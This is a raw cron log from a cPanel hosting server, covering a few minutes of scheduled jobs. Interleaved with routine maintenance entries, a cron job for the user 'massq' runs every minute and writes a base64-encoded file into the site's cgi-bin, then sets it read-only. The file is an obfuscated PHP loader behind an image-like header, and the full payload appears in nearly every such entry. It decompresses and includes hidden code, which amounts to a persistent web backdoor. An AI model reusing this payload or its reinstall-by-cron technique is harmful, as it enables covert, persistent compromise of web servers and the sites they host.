"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:26:01 server CROND[31157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:27:01 server CROND[31585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:27:01 server CROND[31586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:27:01 server CROND[31587]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 04:27:01 server CROND[31588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:28:01 server CROND[32010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:28:01 server CROND[32013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:28:01 server CROND[32012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:28:02 server run-parts(/etc/cron.daily)[1000]: finished maldet
Sep  9 04:28:02 server run-parts(/etc/cron.daily)[6548]: starting man-db.cron
Sep  9 04:28:03 server run-parts(/etc/cron.daily)[1138]: finished man-db.cron
Sep  9 04:28:03 server anacron[8198]: Job `cron.daily' terminated
Sep  9 04:28:03 server anacron[8198]: Normal exit (1 job run)
Sep  9 04:29:01 server CROND[2459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:29:01 server CROND[2458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:29:01 server CROND[2460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:30:01 server CROND[2980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:30:01 server CROND[2982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:30:01 server CROND[2983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:30:01 server CROND[2984]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 04:30:01 server CROND[2989]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  9 04:30:01 server CROND[2987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:30:01 server CROND[2988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:30:01 server CROND[2985]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:30:01 server CROND[2990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:30:01 server CROND[2986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:31:01 server CROND[3834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:31:01 server CROND[3835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:31:01 server CROND[3836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:32:01 server CROND[4230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:32:01 server CROND[4231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:32:01 server CROND[4232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:33:01 server CROND[4611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:33:01 server CROND[4612]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:33:01 server CROND[4613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:34:01 server CROND[4998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:34:01 server CROND[4999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:34:01 server CROND[5000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:35:01 server CROND[5392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:35:01 server CROND[5393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:35:01 server CROND[5397]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 04:35:01 server CROND[5396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:35:01 server CROND[5403]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 04:35:01 server CROND[5402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:35:01 server CROND[5401]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:35:01 server CROND[5404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:35:01 server CROND[5400]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:36:01 server CROND[6235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:36:01 server CROND[6236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:36:01 server CROND[6237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:37:01 server CROND[6712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:37:01 server CROND[6713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
